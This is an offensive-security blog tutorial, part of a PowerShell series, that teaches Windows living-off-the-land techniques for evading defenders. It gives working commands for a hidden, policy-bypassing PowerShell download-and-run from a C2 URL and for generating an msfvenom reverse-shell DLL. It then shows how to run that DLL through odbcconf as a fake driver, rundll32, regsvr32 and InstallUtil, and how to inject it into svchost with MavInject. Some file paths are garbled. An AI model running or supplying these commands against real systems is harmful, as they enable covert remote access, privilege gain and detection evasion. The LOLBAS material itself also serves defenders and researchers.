Learn to stay invisible by abusing native Windows binaries, living-off-the-land techniques and scripting engines for stealthy execution.

The post PowerShell for Hackers – Survival Edition, Part 4: Blinding Defenders first appeared on Hackers Arise.

Welcome back, cyberwarriors! 

We hope that throughout the Survival series, you have been learning a lot from us. Today, we introduce Living off the Land techniques that can be abused without triggering alarms. Our goal is to use knowledge from previous articles to get our job done without unnecessary attention from defenders. All the commands we cover in two parts are benign, native, and also available on legacy systems. Not all are well-known, and tracking them all is impossible as they generate tons of logs that are hard to dig through. As you may know, some legitimate software may act suspiciously with its process and driver names. Tons of false positives quickly drain defenders, so in many environments, you can fly under the radar with these commands. 

Today, you’ll learn how to execute different kinds of scripts as substitutes for .ps1 scripts since they can be monitored, create fake drivers, and inject DLLs into processes to get a reverse shell to your C2.

Let’s get started!

Execution and Scripting

Powershell

Let’s recall the basic concepts of stealth in PowerShell from earlier articles. PowerShell is a built-in scripting environment used by system administrators to automate tasks, check system status, and configure Windows. It’s legitimate and not suspicious unless executed where it shouldn’t be. Process creation can be monitored, but this isn’t always the case. It requires effort and software to facilitate such monitoring. The same applies to .ps1 scripts. This is why we learned how to convert .ps1 to .bat to blend in in one of the previous articles. It doesn’t mean you should avoid PowerShell or its scripts, as you can create a great variety of tools with it. 

Here’s a reminder of how to download and execute a script in memory with stealth:

PS > powershell.exe -nop -w h -ep bypass -c "iex (New-Object Net.WebClient).DownloadString('http://C2/script.ps1')"

Walkthrough: This tells PowerShell to start quickly without loading user profile scripts (-nop), hide the window (-w h), ignore script execution rules (-ep bypass), download a script from a URL, and run it directly in memory (DownloadString + Invoke-Expression).

When you would use it: When you need to fetch a script from a remote server and run it quietly.

Why it’s stealthy: PowerShell is common for admin tasks, and in-memory execution leaves no file on disk for antivirus to scan. Skipping user profile scripts avoids potential monitoring embedded in them.

A less stealthy option would be:

PS > iwr http://c2/script.ps1 | iex 

It’s important to keep in mind that Invoke-WebRequest (iwr) and Invoke-Expression (iex) are often abused by hackers. Later, we’ll cover stealthier ways to download and execute payloads.

CMD

CMD is the classic Windows command prompt used to run batch files and utilities. Although this module focuses on PowerShell, stealth is our main concern, so we cover some CMD commands. With its help, we can chain utilities, redirect outputs to files, and collect system information quietly.

Here’s how to chain enumeration with CMD:

PS > cmd.exe /c "whoami /all > C:\Temp\privs.txt & netstat -ano >> C:\Temp\privs.txt"

Walkthrough: /c runs the command and exits. whoami /all gets user and privilege info and writes it to C:\Temp\privs.txt. netstat -ano appends active network connections to the same file. The user doesn’t see a visible window.

When you would use it: Chaining commands is handy, especially if Script Block Logging is in place and your commands get saved.

Why it’s stealthy: cmd.exe is used everywhere, and writing to temp files looks like routine diagnostics.

cscript.exe

This runs VBScript or JScript scripts from the command line. Older automation relies on it to execute scripts that perform checks or launch commands. Mainly we will use it to bypass ps1 execution monitoring. Below, you can see how we executed a JavaScript script.

PS > cscript //E:JScript //Nologo C:\Temp\script.js

Walkthrough (plain): //E:JScript selects the JavaScript engine, while //Nologo hides the usual header. The final argument points to the script that will be run.

When you would use it: All kinds of use. With the help of AI you can write an enumeration script.

Why it’s stealthy: It’s less watched than PowerShell in some environments and looks like legacy automation.

wscript.exe

By default, it runs Windows Script Host (WSH) scripts (VBScript/JScript), often for scripts showing dialogs. As a pentester, you can run a VBScript in the background or perform shell operations without visible windows.

PS > wscript.exe //E:VBScript C:\Temp\enum.vbs //B

Walkthrough: //B runs in batch mode (no message boxes). The VBScript at C:\Temp\enum.vbs is executed by the Windows Script Host.

When you would use it: Same thing here, it really depends on the script you create. We made a system enumeration script that sends output to a text file. 

Why it’s stealthy: Runs without windows and is often used legitimately.

mshta.exe

Normally, it runs HTML Applications (HTA) containing scripts, used for small admin UIs. For pentesters, it’s a way to execute HTA scripts with embedded code. It requires a graphical interface.

PS > mshta users.hta 

Walkthrough: mshta.exe runs script code in users.hta, which could create a WScript object and execute commands, potentially opening a window with output.

When you would use it: To run a seemingly harmless HTML application that executes shell commands

Why it’s stealthy: It looks like a web or UI component and can bypass some script-only rules.

DLL Loading and Injections

These techniques rely on legitimate DLL loading or registration mechanics to get code running.

Rundll32.exe

Used to load a DLL and call its exported functions, often by installers and system utilities. Pentesters can use it to execute a script or function in a DLL, like a reverse shell generated by msfvenom. Be cautious, as rundll32.exe is frequently abused.

C:\> rundll32.exe C:eflective_dll.x64.dll,TestEntry

Walkthrough: The command runs rundll32.exe to load reflective_dll.x64.dll and call its TestEntry function.

When you would use it: To execute a DLL’s code in environments where direct execution is restricted.

Why it’s stealthy: rundll32.exe is a common system binary and its activity can blend into normal installer steps.

Regsvr32.exe

In plain terms it adds or removes special Windows files (like DLLs or scriptlets) from the system’s registry so that applications can use or stop using them. It is another less frequently used way to execute DLLs.

PS > regsvr32.exe /u /s .eflective_dll.x64.dll

Walkthrough: regsvr32 is asked to run the DLL. /s makes it silent. 

When you would use it: To execute a DLL via a registration process, mimicking maintenance tasks.

Why it’s stealthy: Registration operations are normal in IT workflows, so the call can be overlooked.

odbcconf.exe

Normally, odbcconf.exe helps programs connect to databases by setting up drivers and connections. You can abuse it to run your DLLs. Below is an example of how we executed a generated DLL and got a reverse shell

bash > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.57 LPORT=4444 -f dll -o file.dll

PS > odbcconf.exe INSTALLDRIVER “Printer-driverX|Driver=C:\file.dll|APILevel=2”

PS > odbcconf.exe configsysdns “Printer-driverX” “DNS=Printer-driverX”

Walkthrough: The first odbcconf command tells Windows to register a fake database driver named “Printer-driverX” using a DLL file. The APILevel=2 part makes it look like a legitimate driver. When Windows processes this, it loads file.dll, which runs a reverse shell inside of it. The second odbcconf command, creates a system data source (DSN) named “Printer-driverX” tied to that fake driver, which triggers the DLL to load again, ensuring the malicious code runs.

When you would use it: To execute a custom DLL stealthily, especially when other methods are monitored.

Why it’s stealthy: odbcconf is a legit Windows tool rarely used outside database admin tasks, so it’s not heavily monitored by security tools or admins on most systems. Using it to load a DLL looks like normal database setup activity, hiding the malicious intent.

Installutil.exe

Normally, it is a Windows tool that installs or uninstalls .NET programs, like DLLs or executables, designed to run as services or components. It sets them up so they can work with Windows, like registering them to start automatically, or removes them when they’re no longer needed. In pentest scenarios, the command is used to execute malicious code hidden in a specially crafted .NET DLL by pretending to uninstall it as a .NET service.

PS > InstallUtil.exe /logfile= /LogToConsole=false /U file.dll

Walkthrough: The command tells Windows to uninstall a .NET assembly (file.dll) that was previously set up as a service or component. The /U flag means uninstall, /logfile= skips creating a log file, and /LogToConsole=false hides any output on the screen. If file.dll is a malicious .NET assembly with a custom installer class, uninstalling it can trigger its code, like a reverse shell when the command processes the uninstall. However, for a DLL from msfvenom, this may not work as intended unless it’s specifically a .NET service DLL.

When you would use it:. It’s useful when you have admin access and need to execute a .NET payload stealthily, especially if other methods are unavailable.

Why it’s stealthy: Install utilities are commonly used by developers and administrators.

Mavinject.exe

Essentially, it was designed to help with Application Virtualization, when Windows executes apps in a virtual container. We use it to inject DLLs into running processes to get our code executed. We recommend using system processes for injections, such as svchost.exe.Here is how it’s done:

PS > MavInject.exe 528 /INJECTRUNNING C:\file.dll

Walkthrough: Targets process ID 528 (svchost.exe) and instructs MavInject.exe to inject file.dll into it. When the DLL loads, it runs the code and we get a connection back.

Why you would use it: To inject a DLL for a high-privilege reverse shell, like SYSTEM access. 

Why it’s stealthy: MavInject.exe is a niche Microsoft tool, so it’s rarely monitored by security software or admins, making the injection look like legitimate system behavior.

Summary

Living off the Land techniques matter a lot in Windows penetration testing, as they let you achieve your objectives using only built-in Microsoft tools and signed binaries. That reduces forensic footprints and makes your activity blend with normal admin behavior, which increases the chance of bypassing endpoint protections and detection rules. In Part 1 we covered script execution and DLL injections, some of which will significantly improve your stealth and capabilities. In Part 2, you will explore network recon, persistence, and file management to further evade detection. Defenders can also learn a lot from this to shape the detection strategies. But as it was mentioned earlier, monitoring system binaries might generate a lot of false positives. 

Resources:

https://lofl-project.github.io

https://lolbas-project.github.io/#

The post PowerShell for Hackers – Survival Edition, Part 4: Blinding Defenders first appeared on Hackers Arise.

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